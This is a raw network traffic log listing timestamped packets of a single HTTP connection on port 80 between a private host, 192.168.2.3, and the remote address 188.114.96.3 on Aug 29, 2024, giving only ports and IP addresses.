Aug 29, 2024 12:14:40.361695051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.361700058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361712933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361720085 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.361725092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361738920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361746073 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.361762047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.361784935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.361896992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361908913 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361920118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361928940 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.361932039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361943960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.361946106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361958981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.361983061 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362139940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362150908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362162113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362169981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362173080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362185955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362186909 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362200022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362200975 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362212896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362225056 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362229109 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362241983 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362251043 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362252951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362266064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362273932 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362277985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362291098 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362318039 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362483978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362514019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362529993 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362540960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362545013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362551928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362557888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362565041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362576962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362586021 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362590075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362602949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362612963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362612963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362626076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362628937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362639904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362642050 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362653017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362665892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.362668037 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.362694025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.433274984 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433293104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433305025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433316946 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433334112 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.433357954 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.433371067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433382988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433394909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433415890 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.433430910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.433444977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433454990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433465004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433476925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433485985 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.433510065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.433549881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433592081 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.433621883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433633089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433643103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433655024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433665991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433670998 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.433697939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.433862925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433878899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433891058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433902979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433902979 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.433914900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.433928013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.433950901 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.435314894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435324907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435337067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435380936 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.435395956 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435408115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435412884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.435420036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435432911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435437918 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.435465097 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.435722113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435762882 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.435790062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435821056 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.435888052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435899019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435909986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435918093 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.435928106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435933113 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.435946941 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.435952902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.435962915 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436127901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436132908 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436141014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436161041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436165094 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436172962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436189890 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436193943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436204910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436217070 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436218023 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436230898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436238050 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436243057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436255932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436264038 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436276913 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436296940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436300993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436326027 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436388969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436398983 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436410904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436420918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436427116 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436434984 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436456919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436486959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436527967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436539888 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436566114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436578035 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436579943 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436589956 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436603069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436604023 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436625957 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436636925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436647892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436660051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436672926 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436705112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436717033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436728001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436737061 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436739922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.436764956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436784029 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.436976910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.437150002 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.456366062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456434011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456444025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456474066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456475019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.456506968 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.456526995 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.456603050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456614971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456625938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456636906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456643105 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.456688881 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.456721067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456732988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456743956 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456753016 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.456757069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456773996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456777096 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.456785917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456799984 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456803083 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.456820965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.456844091 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.456937075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456948996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456959009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456975937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.456980944 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.456990004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457001925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457006931 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457019091 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457043886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457055092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457161903 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457173109 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457189083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457197905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457202911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457216978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457222939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457231045 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457237005 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457242012 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457261086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457283974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457298040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457309961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457331896 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457349062 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457382917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457395077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457406998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457420111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457432032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457433939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457446098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457453966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457468033 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457489967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457607031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457617998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457631111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457642078 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457653046 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457654953 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457676888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457705975 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457716942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457727909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457737923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457758904 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457783937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457806110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457818031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457828999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457839012 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457848072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457853079 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.457871914 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.457891941 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.524405956 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524430037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524446964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524458885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524470091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524487019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524492979 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.524498940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524516106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524529934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524547100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524558067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524566889 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524578094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524590015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524600983 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524617910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524662971 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.524662971 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.524662971 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.524662971 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.524662971 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.524662971 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.524662971 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.524662971 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.524671078 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524683952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524720907 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.524765015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524776936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524786949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524797916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.524811983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.524835110 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.526283979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.526312113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.526323080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.526360035 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.526400089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.526410103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.526418924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.526429892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.526439905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.526456118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.526467085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.526484013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.526501894 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.526859999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.526901960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.526946068 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527049065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527059078 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527069092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527089119 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527115107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527180910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527192116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527201891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527214050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527224064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527251959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527291059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527301073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527311087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527321100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527333021 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527355909 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527415991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527426958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527436972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527453899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527457952 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527466059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527471066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527477026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527487993 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527498960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527515888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527522087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527537107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.527542114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.527580976 CEST	62660	80	192.168.2.3	188.114.96.3
